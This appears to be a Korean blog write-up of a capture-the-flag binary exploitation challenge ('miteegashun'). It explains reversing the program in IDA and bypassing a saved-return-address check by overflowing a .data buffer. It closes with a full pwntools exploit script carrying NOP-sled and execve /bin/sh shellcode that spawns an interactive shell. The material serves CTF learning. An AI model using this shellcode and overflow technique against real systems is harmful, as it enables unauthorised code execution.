static 컴파일된 문제라서 main함수의 시작을 먼저 찾아야한다.
먼저 우분투로 실행시켜서 뜨는 문자열을 기억한다.
그 다음 ida에 들어가서 ctl+1 한 뒤 string을 선택하면 프로그램 내에서 선언된 문자열이 모두 뜬다.
여기서 ctl+f 하여 welcome이 들어가는 문자열을 선택한 뒤 x를 누르면
그 문자열을 사용하는 함수로 이동하게 된다. (x는 함수나 변수가 호출되는 코드로 이동함)
이제 main함수를 분석하면 된다.
코드가 재귀함수처럼 똑같은 함수를 호출한다.
중요한 부분만 보면 자신의 ret값을 (본인 함수가 끝났을 때 돌아가야하는 코드 주소)
함수 시작 때 배열에 넣고 종료 전에 다시 가져와서
ret 값 덮어쓰기를 방지하는 것이다.
v2의 주솟값을 인자로 넘겨주는 함수는 들어가보니 하도 복잡해서 그냥 입력 함수라고 넘겼다.
ret값을 변조하지 못하는 상황에서 무엇을 할 수 있을까.
프로그램 실행후 A를 계속 때려넣으니 세그폴트가 떴다.
결국 ret값이 변조되었다는 것
core를 떠보니
arr배열은 .data영역의 0x80F04D9에서 시작한다.
오버플로우 시킬 v2는 0x80F0340에서 시작한다.
따라서 v2에 409만큼만 덮어씌워도 arr의 값을 변조시킬 수 있다.
그런데 main으로부터 다른 함수에 두번 더 번 들어가므로 arr[2] 의 위치는 array주소에 +8을 한 0x80F04E1
*기존의 arr[0]에 덮어씌우면 두번째 함수 에필로그에서 esp, ebp가 조작되는 과정에서 문제가 생길까봐 안전하게 바로 ret되는 arr[2]를 변조했다.
페이로드 구성
dump(417-len(shellcode)) + shellcode + buff_addr(4)
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import * p = process('./miteegashun') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" buff_addr = 0x80f0340 print p.recv(2222) pay ="\x90"*(417-len(shellcode)) pay += shellcode pay += p32(buff_addr) p.sendline(pay) p.interactive() | cs |
'정보보안 > CTF' 카테고리의 다른 글
[CodeGate 2013] Vuln200 (0) | 2018.11.22 |
---|---|
[ebCTF 2013] pwn 200 (0) | 2018.11.12 |
[CSAW CTF 2013] Exploitation3 (0) | 2018.11.10 |
[CSAW CTF 2013] Exploitation2 (0) | 2018.11.09 |
[DEFCON CTF 2015] r0pbaby (0) | 2018.11.08 |